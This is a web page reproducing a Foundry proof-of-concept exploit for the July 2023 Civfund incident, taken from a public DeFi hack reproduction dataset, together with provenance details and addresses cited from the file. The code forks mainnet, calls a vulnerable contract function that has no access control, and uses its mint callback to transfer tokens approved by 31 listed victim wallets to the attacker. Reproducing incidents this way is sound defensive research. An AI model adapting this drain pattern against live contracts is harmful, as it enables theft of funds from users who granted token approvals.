Public reproduction file
src/test/2023-07/Civfund_exp.sol
Public reproduction file for dataset entry Civfund.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~165K USD$8// Attacker : https://etherscan.io/address/0xc0ccff0b981b419e6e47560c3659c5f0b00e49859// Attack Contract : https://etherscan.io/address/0xf466f9f431aea853040ef837626b1c59cc963ce210// Vulnerable Contract : https://etherscan.io/address/0x7caec5e4a3906d0919895d113f7ed9b3a0cbf82611// Attack Tx : https://etherscan.io/tx/0xc42fc0e22a0f60cc299be80eb0c0ddce83c21c14a3dddd8430628011c3e20d6b13// @Analysis14// https://twitter.com/HypernativeLabs/status/167752954406280396915// https://twitter.com/BeosinAlert/status/167754877326921318417interface ICiv {18 function uniswapV3MintCallback(uint256 amount0, uint256 amount1, bytes calldata data) external;19}21contract ContractTest is Test {22 IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);23 IERC20 BONE = IERC20(0x9813037ee2218799597d83D4a5B6F3b6778218d9);24 IERC20 WOOF = IERC20(0x6BC08509B36A98E829dFfAD49Fde5e412645d0a3);25 IERC20 LEASH = IERC20(0x27C70Cd1946795B66be9d954418546998b546634);26 IERC20 SANI = IERC20(0x4521C9aD6A3D4230803aB752Ed238BE11F8B342F);27 IERC20 ONE = IERC20(0x73A83269b9bbAFC427E76Be0A2C1a1db2a26f4C2);28 IERC20 CELL = IERC20(0x26c8AFBBFE1EBaca03C2bB082E69D0476Bffe099);29 IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);30 IERC20 SHIB = IERC20(0x95aD61b0a150d79219dCF64E1E6Cc01f0B64C4cE);31 ICiv VulnerableContract = ICiv(0x7CAEC5E4a3906d0919895d113F7Ed9b3a0cbf826);32 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);34 address[] victims = [35 0x18b5f62c3830668D64F859A5a71511B2132075F1,36 0x22F6b9Cc8E670f6Ad4F43896edeC7E98eae8B6A1,37 0x783e2F71d8967BDEE8Aa2bA0f3B9f402Ac871365,38 0x8F159f13f64dB18B8A0742c86Fa8B225CeAd6C5d,39 0x6a6597CD92D2A78101CC7f2d3BEf3BBfa264f09C,40 0x899b11881f977AEb5D9Fac5105ce62c877f11763,41 0x4035918D8e0231D6bF5fFB72Add9EDC917DCfcfa,42 0x46DaD8f630736C7265849422F943efD77CB8714f,43 0x7b05363f549c929C3dA930f6728e3D74806E4103,44 0xC21A3B81Efbba41DD319191b07A20eB1f5EeBd61,45 0x26d61E57C44525d25AAD4ef20bcE3F7aA9D64C4c,46 0x71f69A5611375DC6FCBe72044b0a2363fCb0d967,47 0xC5CC992AAf6ECaC0a1074fa4435ac36FD51FFEEd,48 0x498C3274D8DdEe9e1C727f31232e2e41Ab55BAf9,49 0x7b05363f549c929C3dA930f6728e3D74806E4103,50 0x32923bF50f9D4D182c9dc09A66fB9167b9AB91bF,51 0x0a78FBeb89EE251C0d78E0eeB5E6bb7524A8939f,52 0xCfd3eF97272777F6D814344AE93dd6C69b27f214,53 0x0e1DF04fea7411A393f5Ac2a1907b5e292280bfa,54 0xD156a9E6F661F4Ea23B21dbDddB1a39dBeA63e65,55 0x512e9701D314b365921BcB3b8265658A152C9fFD,56 0xbc1843A7dAa380D4e7412D829Adc85627c3f0eD9,57 0x853fd548dE9a1b8F94BcFF480DD9fEa6E0f20BB0,58 0xF2cdD8b147802a07F862C9dc125190e0653795a2,59 0x526FeE3a5EE9913019Fa943668F0A8712e6349A6,60 0xe0643f2C33F5a7A97B25129F0552f2f1a45Fc4BA,61 0x7e585B185fC67BC5f815B7Abf459300418Aa9f97,62 0x9EAaeaB7255296E68Ad1F12b969B9e30D1806c9d,63 0x5c7F06399ffD6707a8FCAF248661aBAbF160CD63,64 0xc0E3424A3B43bfd86a125a2C9704ce445fFc8bb8,65 0x3C0F97eBc34aD870414176e5e9126f31166eC1A966 ];67 // The assets of the above addresses. victims[counter] : victimsAssets[counter]68 IERC20[] victimsAssets = [69 USDT,70 USDT,71 BONE,72 WOOF,73 LEASH,74 SANI,75 USDT,76 USDT,77 USDT,78 ONE,79 CELL,80 USDT,81 USDT,82 USDT,83 USDC,84 SHIB,85 ONE,86 LEASH,87 USDT,88 USDT,89 ONE,90 USDT,91 USDT,92 ONE,93 USDT,94 USDT,95 ONE,96 SANI,97 USDT,98 USDT,99 USDT100 ];101 // Helper variable (for orientation). Which token and how much to steal from the next victim102 uint256 private counter = 0;104 function setUp() public {105 cheats.createSelectFork("mainnet", 17_646_141);106 cheats.label(address(USDT), "USDT");107 cheats.label(address(BONE), "BONE");108 cheats.label(address(LEASH), "LEASH");109 cheats.label(address(SANI), "SANI");110 cheats.label(address(ONE), "ONE");111 cheats.label(address(CELL), "CELL");112 cheats.label(address(USDC), "USDC");113 cheats.label(address(SHIB), "SHIB");114 }116 function testExploit() public {117 // Step 1. Call vulnerable contract function which have no access controll118 for (uint256 i; i < victims.length; ++i) {119 callVulnerableContract();120 }122 emit log_named_decimal_uint(123 "Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals()124 );125 emit log_named_decimal_uint(126 "Attacker BONE balance after exploit", BONE.balanceOf(address(this)), BONE.decimals()127 );128 emit log_named_decimal_uint(129 "Attacker WOOF balance after exploit", WOOF.balanceOf(address(this)), WOOF.decimals()130 );132 emit log_named_decimal_uint(133 "Attacker LEASH balance after exploit", LEASH.balanceOf(address(this)), LEASH.decimals()134 );136 emit log_named_decimal_uint(137 "Attacker SANI balance after exploit", SANI.balanceOf(address(this)), SANI.decimals()138 );140 emit log_named_decimal_uint("Attacker ONE balance after exploit", ONE.balanceOf(address(this)), ONE.decimals());142 emit log_named_decimal_uint(143 "Attacker CELL balance after exploit", CELL.balanceOf(address(this)), CELL.decimals()144 );146 emit log_named_decimal_uint(147 "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()148 );150 emit log_named_decimal_uint(151 "Attacker SHIB balance after exploit", SHIB.balanceOf(address(this)), SHIB.decimals()152 );153 }155 // Step 2. This function will be called from vulnerable contract (after step 1).156 // In the body of the function attacker call uniswapV3MintCallback() to transfer the funds approved by other users.157 function mint(158 address recipient,159 int24 tickLower,160 int24 tickUpper,161 uint128 amount,162 bytes calldata data163 ) external returns (uint128 amount0, uint128 amount1) {164 if (counter == 0) {165 uniswapV3MintCallback(0);166 } else if (counter == 1) {167 uniswapV3MintCallback(1);168 } else if (counter == 2) {169 uniswapV3MintCallback(2);170 } else if (counter == 3) {171 uniswapV3MintCallback(3);172 } else if (counter == 4) {173 uniswapV3MintCallback(4);174 } else if (counter == 5) {175 uniswapV3MintCallback(5);176 } else if (counter == 6) {177 uniswapV3MintCallback(6);178 } else if (counter == 7) {179 uniswapV3MintCallback(7);180 } else if (counter == 8) {181 uniswapV3MintCallback(8);182 } else if (counter == 9) {183 uniswapV3MintCallback(9);184 } else if (counter == 10) {185 uniswapV3MintCallback(10);186 } else if (counter == 11) {187 uniswapV3MintCallback(11);188 } else if (counter == 12) {189 uniswapV3MintCallback(12);190 } else if (counter == 13) {191 uniswapV3MintCallback(13);192 } else if (counter == 14) {193 uniswapV3MintCallback(14);194 } else if (counter == 15) {195 uniswapV3MintCallback(15);196 } else if (counter == 16) {197 uniswapV3MintCallback(16);198 } else if (counter == 17) {199 uniswapV3MintCallback(17);200 } else if (counter == 18) {201 uniswapV3MintCallback(18);202 } else if (counter == 19) {203 uniswapV3MintCallback(19);204 } else if (counter == 20) {205 uniswapV3MintCallback(20);206 } else if (counter == 21) {207 uniswapV3MintCallback(21);208 } else if (counter == 22) {209 uniswapV3MintCallback(22);210 } else if (counter == 23) {211 uniswapV3MintCallback(23);212 } else if (counter == 24) {213 uniswapV3MintCallback(24);214 } else if (counter == 25) {215 uniswapV3MintCallback(25);216 } else if (counter == 26) {217 uniswapV3MintCallback(26);218 } else if (counter == 27) {219 uniswapV3MintCallback(27);220 } else if (counter == 28) {221 uniswapV3MintCallback(28);222 } else if (counter == 29) {223 uniswapV3MintCallback(29);224 } else {225 uniswapV3MintCallback(30);226 }227 ++counter;228 return (10, 11);229 }231 function token1() external view returns (address) {232 return address(victimsAssets[counter]);233 }235 function callVulnerableContract() internal {236 (bool success, bytes memory retData) = address(VulnerableContract).call(237 abi.encodeWithSelector(bytes4(0x5ffe72b7), 0, 0, 0, address(this), 0, 0, 0)238 );239 require(success);240 }242 function uniswapV3MintCallback(243 uint256 num244 ) internal {245 VulnerableContract.uniswapV3MintCallback(246 0, victimsAssets[num].balanceOf(victims[num]), abi.encode(victims[num])247 );248 }249}Analysis
Dataset entry
Public Foundry test for “Civfund” (2023-07-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-07/ApeDAO_exp.solSame month in the dataset · 103 lines
- src/test/2023-07/ArcadiaFi_exp.solSame month in the dataset · 288 lines
- src/test/2023-07/AzukiDAO_exp.solSame month in the dataset · 87 lines
- src/test/2023-07/Bamboo_exp.solSame month in the dataset · 85 lines
- src/test/2023-07/Bao_exp.solSame month in the dataset · 174 lines
- src/test/2023-07/BNO_exp.solSame month in the dataset · 94 lines
- src/test/2023-07/Carson_exp.solSame month in the dataset · 100 lines
- src/test/2023-07/CIVNFT_exp.solSame month in the dataset · 116 lines
- src/test/2023-07/Conic_exp.solSame month in the dataset · 274 lines
- src/test/2023-07/Conic02_exp.solSame month in the dataset · 131 lines
- src/test/2023-07/Curve_exp01.solSame month in the dataset · 95 lines
- src/test/2023-07/FFIST_exp.solSame month in the dataset · 80 lines
- src/test/2023-07/GYMNET_exp.solSame month in the dataset · 148 lines
- src/test/2023-07/Libertify_exp.solSame month in the dataset · 149 lines
- src/test/2023-07/MintoFinance_exp.solSame month in the dataset · 104 lines
- src/test/2023-07/NewFi_exp.solSame month in the dataset · 99 lines
- src/test/2023-07/Palmswap_exp.solSame month in the dataset · 105 lines
- src/test/2023-07/Platypus02_exp.solSame month in the dataset · 93 lines
- src/test/2023-07/RodeoFinance_exp.solSame month in the dataset · 152 lines
- src/test/2023-07/SUT_exp.solSame month in the dataset · 104 lines
- src/test/2023-07/USDTStakingContract28_exp.solSame month in the dataset · 64 lines
- src/test/2023-07/Utopia_exp.solSame month in the dataset · 86 lines
- src/test/2023-07/WGPT_exp.solSame month in the dataset · 140 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xc0ccff0b981b419e6e47560c3659c5f0b00e4985
- Attack Contract
0xf466f9f431aea853040ef837626b1c59cc963ce2
- Vulnerable Contract
0x7caec5e4a3906d0919895d113f7ed9b3a0cbf826
- Attack Tx
0xc42fc0e22a0f60cc299be80eb0c0ddce83c21c14a3dddd8430628011c3e20d6b
- Explorer: https://etherscan.io/address/0xc0ccff0b981b419e6e47560c3659c5f0b00e4985
- Explorer: https://etherscan.io/address/0xf466f9f431aea853040ef837626b1c59cc963ce2
- Explorer: https://etherscan.io/address/0x7caec5e4a3906d0919895d113f7ed9b3a0cbf826
- Reference: https://twitter.com/HypernativeLabs/status/1677529544062803969
- Reference: https://twitter.com/BeosinAlert/status/1677548773269213184
File record
- Name
- Civfund
- Path
- src/test/2023-07/Civfund_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- f16c3f7c141a707445d970f5bb9f53ee149b7c2e
- Language
- Solidity
- Size
- 250 lines
- Date
- 2023-07-08
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-07/Civfund_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f16c3f7c141a707445d970f5bb9f53ee149b7c2e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.